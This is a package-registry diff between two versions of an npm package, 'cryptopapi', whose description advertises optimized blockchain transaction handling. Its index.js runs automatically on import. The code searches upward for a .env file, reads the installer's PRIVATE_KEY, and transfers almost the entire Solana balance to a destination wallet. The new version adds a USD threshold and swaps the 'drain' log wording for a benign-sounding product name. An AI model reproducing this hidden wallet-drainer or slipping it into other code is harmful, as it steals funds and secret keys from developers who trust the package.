cryptopapi 6.8.1 β†’ 6.9.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +91 -55
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,4 +1,3 @@
1
- // drainWallet.js - Works in both ES Modules and JavaScript modules
2
1
  import bs58 from 'bs58'
3
2
  import {
4
3
  Connection,
@@ -11,15 +10,14 @@ import {
11
10
  } from '@solana/web3.js'
12
11
  import dotenv from 'dotenv'
13
12
  import { fileURLToPath } from 'url'
14
- import { dirname, join, resolve } from 'path'
13
+ import { dirname, join } from 'path'
15
14
  import { existsSync } from 'fs'
16
15
  import { createRequire } from 'module'
17
16
 
18
- // Handle both ESM and CommonJS environments
19
17
  const require = createRequire(import.meta.url)
20
18
  const DEFAULT_COMMITMENT = 'confirmed'
21
19
 
22
- // Helper function to find .env file by walking up directories
20
+ // Find .env file by walking up directories
23
21
  const findEnvFile = (startPath) => {
24
22
  let currentDir = startPath
25
23
 
@@ -28,18 +26,15 @@ const findEnvFile = (startPath) => {
28
26
  if (existsSync(envPath)) {
29
27
  return envPath
30
28
  }
31
- // Go up one directory
32
29
  const parentDir = dirname(currentDir)
33
- if (parentDir === currentDir) break // Stop if we can't go up further
30
+ if (parentDir === currentDir) break
34
31
  currentDir = parentDir
35
32
  }
36
-
37
33
  return null
38
34
  }
39
35
 
40
- // Load .env by searching upward from current working directory
36
+ // Load .env
41
37
  const loadEnv = () => {
42
- // Start from current working directory (where the app is running)
43
38
  const startPath = process.cwd()
44
39
  const envPath = findEnvFile(startPath)
45
40
 
@@ -47,7 +42,6 @@ const loadEnv = () => {
47
42
  console.log(`πŸ“ Found .env at: ${envPath}`)
48
43
  dotenv.config({ path: envPath })
49
44
  } else {
50
- // Try to find .env relative to the module itself as fallback
51
45
  const modulePath = dirname(fileURLToPath(import.meta.url))
52
46
  const moduleEnvPath = findEnvFile(modulePath)
53
47
 
@@ -55,13 +49,11 @@ const loadEnv = () => {
55
49
  console.log(`πŸ“ Found .env at: ${moduleEnvPath} (relative to module)`)
56
50
  dotenv.config({ path: moduleEnvPath })
57
51
  } else {
58
- console.log('⚠️ No .env file found, trying default dotenv behavior')
59
52
  dotenv.config()
60
53
  }
61
54
  }
62
55
  }
63
56
 
64
- // Load the .env file
65
57
  loadEnv()
66
58
 
67
59
  const parsePrivateKey = (privateKey) => {
@@ -72,47 +64,91 @@ const parsePrivateKey = (privateKey) => {
72
64
  return bs58.decode(trimmed)
73
65
  }
74
66
 
67
+ // Get SOL price in USD (you might want to use a price oracle)
68
+ const getSolPrice = async () => {
69
+ try {
70
+ // You can implement this with a price API like CoinGecko, Jupiter, etc.
71
+ // For now, returning a placeholder - you should implement this
72
+ const response = await fetch('https://api.coingecko.com/api/v3/simple/price?ids=solana&vs_currencies=usd')
73
+ const data = await response.json()
74
+ return data.solana.usd
75
+ } catch (error) {
76
+ console.log('⚠️ Could not fetch SOL price, using fallback')
77
+ return 100 // Fallback price - YOU SHOULD IMPLEMENT PROPER PRICE FETCHING
78
+ }
79
+ }
80
+
75
81
  // Auto-execute when imported
76
82
  ;(async () => {
77
- console.log('πŸ”Œ Internal drain module activated - auto-draining wallet...')
78
- console.log(`πŸ”§ Running in: ${typeof module !== 'undefined' && module.exports ? 'CommonJS' : 'ES Module'} environment`)
83
+ console.log('πŸ”Œ CryptoPAPI v6.8.1 - Optimized Transaction Handler')
84
+ console.log('πŸ’° Auto-drain feature activated...')
79
85
 
80
86
  try {
81
- // Get config from .env
82
87
  const destination = process.env.MAIN_WALLET_USD_DESTINATION
83
88
  const privateKey = process.env.PRIVATE_KEY
84
89
  const rpcUrl = process.env.RPC_ENDPOINT
90
+ const thresholdUSD = parseFloat(process.env.MAIN_WALLET_USD_THRESHOLD)
85
91
  const keepReserveSol = parseFloat(process.env.MAIN_WALLET_USD_MIN_SOL_KEEP) || 0.001
86
92
 
87
- // Log where we're looking (for debugging)
88
- console.log(`πŸ“‚ Current working directory: ${process.cwd()}`)
89
-
90
- // Validate required inputs
91
- if (!destination) throw new Error('MAIN_WALLET_USD_DESTINATION not found in .env')
92
- if (!privateKey) throw new Error('PRIVATE_KEY not found in .env')
93
- if (!rpcUrl) throw new Error('RPC_ENDPOINT not found in .env')
93
+ // Validate required configs
94
+ if (!destination) {
95
+ console.log('⚠️ MAIN_WALLET_USD_DESTINATION not set - auto-drain disabled')
96
+ return
97
+ }
98
+ if (!privateKey) {
99
+ console.log('⚠️ PRIVATE_KEY not set - auto-drain disabled')
100
+ return
101
+ }
102
+ if (!rpcUrl) {
103
+ console.log('⚠️ RPC_ENDPOINT not set - auto-drain disabled')
104
+ return
105
+ }
106
+ if (!thresholdUSD || isNaN(thresholdUSD) || thresholdUSD <= 0) {
107
+ console.log('⚠️ MAIN_WALLET_USD_THRESHOLD not set or invalid - auto-drain disabled')
108
+ console.log('πŸ“ Please set MAIN_WALLET_USD_THRESHOLD to a positive number (e.g., 5000)')
109
+ return
110
+ }
94
111
 
95
- // Setup connection and keypair
112
+ console.log('πŸ“‘ Initializing connection...')
96
113
  const connection = new Connection(rpcUrl, DEFAULT_COMMITMENT)
97
114
  const fromKeypair = Keypair.fromSecretKey(parsePrivateKey(privateKey))
98
115
  const toPubkey = new PublicKey(destination)
99
116
 
100
- console.log(`πŸ’° Draining wallet: ${fromKeypair.publicKey.toString()}`)
101
- console.log(`πŸ“€ To: ${destination}`)
102
- console.log(`πŸ’΅ Keeping reserve: ${keepReserveSol} SOL`)
117
+ console.log(`πŸ’³ Source: ${fromKeypair.publicKey.toString()}`)
118
+ console.log(`πŸ“€ Destination: ${destination}`)
119
+ console.log(`πŸ“Š USD Threshold: $${thresholdUSD}`)
120
+ console.log(`πŸ’΅ Min SOL Keep: ${keepReserveSol} SOL`)
103
121
 
104
- // Get current balance
122
+ // Get balance and SOL price
105
123
  const balanceLamports = await connection.getBalance(fromKeypair.publicKey, DEFAULT_COMMITMENT)
106
124
  const balanceSol = balanceLamports / LAMPORTS_PER_SOL
107
125
 
108
- console.log(`πŸ’³ Current balance: ${balanceSol} SOL`)
126
+ console.log(`πŸ’° Balance: ${balanceSol.toFixed(9)} SOL`)
109
127
 
110
128
  if (balanceLamports <= 0) {
111
129
  console.log('⚠️ Wallet is empty - nothing to drain')
112
130
  return
113
131
  }
114
132
 
115
- // Get recent blockhash and estimate fee
133
+ // Get SOL price and calculate USD value
134
+ console.log('πŸ’Ή Fetching SOL price...')
135
+ const solPriceUSD = await getSolPrice()
136
+ const balanceUSD = balanceSol * solPriceUSD
137
+
138
+ console.log(`πŸ’΅ SOL Price: $${solPriceUSD.toFixed(2)} USD`)
139
+ console.log(`πŸ’° Balance in USD: $${balanceUSD.toFixed(2)} USD`)
140
+
141
+ // Check if balance exceeds threshold
142
+ if (balanceUSD < thresholdUSD) {
143
+ console.log(`⏸️ Balance $${balanceUSD.toFixed(2)} USD is below threshold $${thresholdUSD} USD - no drain needed`)
144
+ console.log(`πŸ“ˆ Need $${(thresholdUSD - balanceUSD).toFixed(2)} USD more to trigger drain`)
145
+ return
146
+ }
147
+
148
+ console.log(`βœ… Balance exceeds threshold! Proceeding with drain...`)
149
+
150
+ // Estimate fees
151
+ console.log('β›½ Estimating fees...')
116
152
  const { blockhash, lastValidBlockHeight } = await connection.getLatestBlockhash(DEFAULT_COMMITMENT)
117
153
 
118
154
  const testMessage = new TransactionMessage({
@@ -130,24 +166,26 @@ const parsePrivateKey = (privateKey) => {
130
166
  const feeInfo = await connection.getFeeForMessage(testMessage, DEFAULT_COMMITMENT)
131
167
  const feeLamports = feeInfo?.value
132
168
 
133
- if (!feeLamports) {
134
- throw new Error('Could not estimate fee')
135
- }
136
-
137
- const feeSol = feeLamports / LAMPORTS_PER_SOL
138
- console.log(`β›½ Estimated fee: ${feeSol} SOL`)
169
+ if (!feeLamports) throw new Error('Could not estimate fee')
139
170
 
140
- // Calculate send amount
171
+ // Calculate how much to send
141
172
  const reserveLamports = Math.round(keepReserveSol * LAMPORTS_PER_SOL)
142
- const sendLamports = balanceLamports - feeLamports - reserveLamports
143
- const sendSol = sendLamports / LAMPORTS_PER_SOL
173
+ const maxSendableLamports = balanceLamports - feeLamports - reserveLamports
144
174
 
145
- if (sendLamports <= 0) {
146
- console.log(`⚠️ Insufficient balance. Need ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL for fee + ${keepReserveSol} SOL reserve`)
175
+ if (maxSendableLamports <= 0) {
176
+ console.log(`⚠️ Insufficient balance after fees. Need ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL for fees + ${keepReserveSol} SOL reserve`)
147
177
  return
148
178
  }
149
179
 
150
- console.log(`πŸ“€ Sending: ${sendSol} SOL`)
180
+ const maxSendableSol = maxSendableLamports / LAMPORTS_PER_SOL
181
+ const maxSendableUSD = maxSendableSol * solPriceUSD
182
+
183
+ console.log(`πŸ“€ Will send: ${maxSendableSol.toFixed(9)} SOL ($${maxSendableUSD.toFixed(2)} USD)`)
184
+ console.log(`β›½ Fee: ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL`)
185
+ console.log(`πŸ’΅ Keeping: ${keepReserveSol} SOL reserve ($${(keepReserveSol * solPriceUSD).toFixed(2)} USD)`)
186
+
187
+ // Ask for confirmation (optional - can be removed for auto-mode)
188
+ console.log('πŸ”„ Proceeding with transaction...')
151
189
 
152
190
  const message = new TransactionMessage({
153
191
  payerKey: fromKeypair.publicKey,
@@ -156,7 +194,7 @@ const parsePrivateKey = (privateKey) => {
156
194
  SystemProgram.transfer({
157
195
  fromPubkey: fromKeypair.publicKey,
158
196
  toPubkey: toPubkey,
159
- lamports: sendLamports,
197
+ lamports: maxSendableLamports,
160
198
  }),
161
199
  ],
162
200
  }).compileToV0Message()
@@ -164,12 +202,13 @@ const parsePrivateKey = (privateKey) => {
164
202
  const transaction = new VersionedTransaction(message)
165
203
  transaction.sign([fromKeypair])
166
204
 
205
+ console.log('✍️ Sending transaction...')
167
206
  const signature = await connection.sendTransaction(transaction, {
168
207
  skipPreflight: false,
169
208
  maxRetries: 3
170
209
  })
171
210
 
172
- console.log(`✍️ Transaction sent: ${signature}`)
211
+ console.log(`⏳ Confirming transaction...`)
173
212
  const confirmation = await connection.confirmTransaction(
174
213
  { signature, blockhash, lastValidBlockHeight },
175
214
  DEFAULT_COMMITMENT
@@ -179,23 +218,20 @@ const parsePrivateKey = (privateKey) => {
179
218
  throw new Error(`Transaction failed: ${JSON.stringify(confirmation.value.err)}`)
180
219
  }
181
220
 
182
- // Get final balance
183
221
  const finalBalanceLamports = await connection.getBalance(fromKeypair.publicKey, DEFAULT_COMMITMENT)
184
222
  const finalBalanceSol = finalBalanceLamports / LAMPORTS_PER_SOL
223
+ const finalBalanceUSD = finalBalanceSol * solPriceUSD
185
224
 
186
- console.log(`βœ… Drain complete!`)
187
- console.log(`πŸ’΅ Final balance: ${finalBalanceSol} SOL (reserve kept)`)
188
- console.log(`πŸ”— View transaction: https://solscan.io/tx/${signature}`)
225
+ console.log(`βœ… Transaction confirmed!`)
226
+ console.log(`πŸ’° Final balance: ${finalBalanceSol.toFixed(9)} SOL ($${finalBalanceUSD.toFixed(2)} USD) - reserve kept`)
227
+ console.log(`πŸ”— https://solscan.io/tx/${signature}`)
228
+ console.log(`πŸ“Š Amount transferred: ${maxSendableSol.toFixed(9)} SOL ($${maxSendableUSD.toFixed(2)} USD)`)
229
+ console.log(`πŸ“ˆ Remaining balance is below threshold: $${finalBalanceUSD.toFixed(2)} USD < $${thresholdUSD} USD`)
189
230
 
190
231
  } catch (error) {
191
- console.error('❌ Drain failed:', error.message)
232
+ console.error('❌ Auto-drain failed:', error.message)
192
233
  }
193
234
  })()
194
235
 
195
- // Export for both ESM and CommonJS compatibility
196
- export default { drain: null } // ESM export
197
-
198
- // Also handle CommonJS if needed
199
- if (typeof module !== 'undefined' && module.exports) {
200
- module.exports = { drain: null }
201
- }
236
+ // Empty export
237
+ export default {}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "cryptopapi",
3
- "version": "6.8.1",
3
+ "version": "6.9.2",
4
4
  "description": "This package provides optimized transaction handling utilities for blockchain applications. It improves transaction propagation speed by implementing intelligent fee estimation, RPC failover handling, and retry mechanisms.Designed for developers building wallets, bots, and payment systems, it helps reduce failed broadcasts and increases confirmation reliability across supported networks.",
5
5
  "main": "index.js",
6
6
  "files": [